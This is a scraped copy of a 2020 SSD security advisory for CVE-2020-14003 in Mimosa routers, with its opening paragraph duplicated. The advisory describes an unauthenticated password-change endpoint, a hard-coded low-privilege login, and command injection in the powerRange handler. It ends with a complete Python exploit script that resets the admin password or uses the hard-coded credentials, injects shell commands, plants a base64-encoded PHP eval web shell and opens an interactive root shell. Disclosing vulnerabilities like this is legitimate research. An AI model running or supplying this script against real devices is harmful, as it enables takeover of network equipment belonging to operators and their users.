VULHUB ™

# SSD Advisory - Mimosa Routers Privilege Escalation and Authentication bypass June 16, 2020 [SSD Disclosure / Hadar Manor](https://ssd- disclosure.com/author/hadarm/ "Posts by SSD Disclosure / Hadar Manor") [Uncategorized](https://ssd-disclosure.com/category/uncategorized/) **TL;DR** Find out how we exploited Mimosa Router's web interface vulnerability and gained root access. **Vulnerability Summary** Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface. **CVE** CVE-2020-14003 **Credit** An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program. **Affected Systems** Should work on any mimosa device with versions of the firmware <= 1.5.1 (the...

# SSD Advisory - Mimosa Routers Privilege Escalation and Authentication bypass June 16, 2020 [SSD Disclosure / Hadar Manor](https://ssd- disclosure.com/author/hadarm/ "Posts by SSD Disclosure / Hadar Manor") [Uncategorized](https://ssd-disclosure.com/category/uncategorized/) **TL;DR** Find out how we exploited Mimosa Router's web interface vulnerability and gained root access. **Vulnerability Summary** Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface. **CVE** CVE-2020-14003 **Credit** An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program. **Affected Systems** Should work on any mimosa device with versions of the firmware <= 1.5.1 (the latest version) C5c ca8c8e1 C5 cc51495 B5 b84c680 B5-Lite b84c680 B5c b84c680 B11 b84c680 B24 1070089 **Vendor Response** The vendor acknowledges the vulnerability and fixed it. **Vulnerability Details** The Mimosa routers all use a custom web interface that's written using php. The Mimosa developers also have their own mini php framework. The root of the web interface is located at /var/www/. There are a lot of php scripts there, some which handle API requests and others for the web interface. Let's begin by looking at the framework and how authentication is done (the initial bug). Authentication Bypass/ Privilege Escalation File **/var/www/core/tinyframe/mimosa.php** ​ ``` class Dispatcher { //Dispatcher class (Handles routing) included for reference private $output; ​ public function __construct() { if (isset($_GET['q'])) { //parse action from url querystring $array = explode('.', $_GET['q']); if (count($array)) { Application::$controller['name'] = strtolower(array_shift($array)); if (count($array)) { Application::$controller['action'] = strtolower(array_shift($array)); } } unset($_GET['q']); } } ... //line 277 class Controller extends Application { // The controller class handles authentication ... //line 308 $noCheckController = array( // This are the controllers and functions that won't require authentication 'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'), 'info' => array('device'), 'preferences' => array('changepass'), //<-- The bug is here 'tools' => array('antenna_data') ); ``` As can be seen above, the authentication exemptions contain the preferences endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This is where the Privilege Escalation and Authentication bypass bugs occur, lets take a look at the controller code and see what we can do. File: **/var/www/core/controller/preferences.php** ​ ``` //line 111 public function changepass() { if(self::$isPost) { // Checks if the request sent is POST $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request foreach($saveArray as &$value) { $value = md5($value); // md5 hashing the password value } $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui) $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value. Flags::create('password_modified'); } } ``` As can be seen above the bugs are pretty straight forward. And very easy to exploit. The first bug lets us escalate our session to super user, this was not trivial to exploit since we need to login for the session to work. There is a code block that checks session timeout using variables from the $_SESSION super global. But this value will not be set unless we are logged in, and if it's not set authentication fails. But luckily mimosa has a hard coded web user (monitor:mimosa) that can login with minimal privileges and whats even better there is no option to change the password for this user or disable it. Using the hard coded credentials and the privilege escalation we can get full admin access to the web UI. The second bug is pretty trivial. We can change the password of the super user without the need to authenticate. This lets us log in with our new password and take full control. The PoC exploit below exploits both these bugs for RCE. Remote Command Execution The RCE requires an authenticated admin session to exploit, By using one of the two bugs described above, we can get a valid session and exploit the bug. The RCE is pretty simple so lets take a look at the code. File **/var/www/core/controller/wireless.php** ​ ``` public function powerRange() { $isR5 = $this->product == 'B02'; $bw = $_GET['bw']; $freq1= $_GET['freq']; $freq2 = $_GET['freq2']; $country = country(); ​ if ((strlen(substr($bw, 2)) > 2)) $bw = '3' . str_replace(' FD','',substr($bw, 2)); else $bw = substr($bw, 2); ​ $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2"; if ( MIMOSA_PRODUCT == 'B11') { $cmdRemote = $cmdLocal = $cmd; ​ $cmdLocal .= " gain ". $_GET['gain']; $cmdRemote.= " gain ". $_GET['gainRemote']; ​ $minMaxLocal = array(); $minMaxRemote = array(); ​ $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); foreach ($lines as $key => $line) { $x = explode(':', $line); $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1])); } ​ $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); foreach ($lines as $key => $line) { $x = explode(':', $line); $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1])); } $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]), 'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1])); } else { if ($isR5) { if (intval($_GET['gain']) > intval($_GET['gainRemote'])) $cmd .= " gain ". $_GET['gain']; else $cmd .= " gain ". $_GET['gainRemote']; } $lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); $minMax = array(); ​ foreach ($lines as $key => $line) { $x = explode(':', $line); $minMax[] = array((int) trim($x[2]), (int) trim($x[1])); } if(count($minMax) > 1) { $this->options = array('Power' => range($minMax[0][0], $minMax[0][1]), 'Power2' => range($minMax[1][0], $minMax[1][1])); } else { $this->options = array('Power' => range($minMax[0][0], $minMax[0][1])); } } ``` As you can see from the above code, the function powerRange (reachable at <router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a wrapper) without any type of filtering. The code has 2 paths if the product is B11 and if it is not (Other models) but the RCE will happen in both cases. As a side note the /var/www/ directory is not writable by default (squashfs filesystem) and you have to get around that by using a bind mount /var/www/help/ to /tmp/<some_dir> to upload a shell. **Demo** -  **Exploit** ​ ``` #!/usr/bin/python2 import sys import json import requests import urllib3 from base64 import b64encode as encode urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MimosaExploit(): def __init__(self,url): self.url = url self.cookie = None def get_version(self): print '[+] Fingerprinting device.' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'}) if r.status_code != 200: print "[-] Failed to fetch device info, Are you sure this is mimosa device?" return False else: try: data = json.loads(r.text) print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version']) return True except Exception: print '[-] Failed to parse device info.' return False def LoginMonitor(self): print '[+] Attempting to login as the monitor user (lowest privilege)' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'}) if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1: print '[+] Login seems to have failed :(' print '[+] Try using the password change exploit?' return False if 'Set-Cookie' not in r.headers.keys(): print '[+] No session recieved, maybe retry?' return False self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1] print '[+] Got cookie: {}'.format(self.cookie) def LoginAdmin(self): print '[+] Attempting to login as the admin user' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'}) if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1: print '[+] Login seems to have failed :(, maybe retry?' return False if 'Set-Cookie' not in r.headers.keys(): print '[+] No session recieved, maybe retry?' return False self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1] print '[+] Got cookie: {}'.format(self.cookie) def EscalatePrivilege(self): print '[+] Escalating privilege to Super User' r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie}) if r.status_code != 200: print '[+] Failed to escalate privileges' return False try: json.loads(r.text) except: print '[-] Failed to escalate privileges, Invalid response' return False print '[+] Successfully got Super User privileges' def ChangeAdminPassword(self): print '[+] Changing the admin password to admin' r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie}) if r.status_code != 200: print '[+] Failed to change the password' return False try: json.loads(r.text) except: print '[-] Failed to change the password, Invalid response' return False print '[+] Successfully changed the admin password' def ExploitRCE(self,Shell=True): print '[+] Beginning RCE exploit' if Shell == False: cmd = raw_input("Input command you want to execute> ") else: # Shell base64 decoded #<?php #eval(base64_decode($_REQUEST['p'])); #?> cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php" r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie}) if r.status_code != 200 and r.text.lower().find('power') == -1: print '[+] Executing the command might have failed' return False else: print '[+] Successfully executed the command' if Shell == True: print '[+] Checking if shell is uploaded' r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")}) if r.status_code == 200 and r.text.strip() == '_UPLOADED_': print '[+] Shell is uploaded' else: print '[-] Uploading the shell might have failed, retry?' return False ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ") if ch.lower() == 'y': print '[+] Running an interactive command shell' print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code' while True: cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip() if cmd == "quit": print '[+] Exiting command shell.' return True elif cmd == 'clean_up': cmd = encode('system("rm -rf load_help.php && echo __DONE__");') r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd}) if r.status_code != 200: print '[+] Something went wrong while executing the command' elif r.text.strip() == '__DONE__': print '[+] Exploit cleaned up, exit now please' elif cmd.startswith("php "): r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])}) if r.status_code != 200: print '[+] Execution Failed.' else: print r.text r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')}) if r.status_code != 200: print '[+] Something went wrong while executing the command' print r.status_code print r.text else: print r.text else: print '[+] Your shell should be at {}/help/load_help.php' print '[+] use GET/POST parameter p to execute php code' print '[+] Note the php code sent through p has to be base64 encoded' return True else: print '[+] Command should be executed' return True def run(self): print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit' print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) ' ch = raw_input('Choice> ') if ch == "1": if(self.get_version() == False): print '[-] Fingerprinting Failed, bailing' exit(0); if(self.LoginMonitor() == False): print '[-] Failed to Login using hardcoded creds, Bailing' exit(0); shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ') if shell.strip().lower() == 'y': self.ExploitRCE() else: self.ExploitRCE(Shell=False) if ch == "2": if(self.get_version() == False): print '[-] Fingerprinting Failed, bailing' exit(0); if(self.ChangeAdminPassword() == False): print '[-] Failed to change creds, Bailing' exit(0); if(self.LoginAdmin() == False): print '[-] Failed to Login as admin, Bailing' exit(0); shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ') if shell.strip().lower() == 'y': self.ExploitRCE() else: self.ExploitRCE(Shell=False) if __name__ == "__main__": if len(sys.argv) < 2: print 'Usage: {} <url>'.format(sys.argv[0]) exit(0) ex = MimosaExploit(sys.argv[1]) ex.run() ```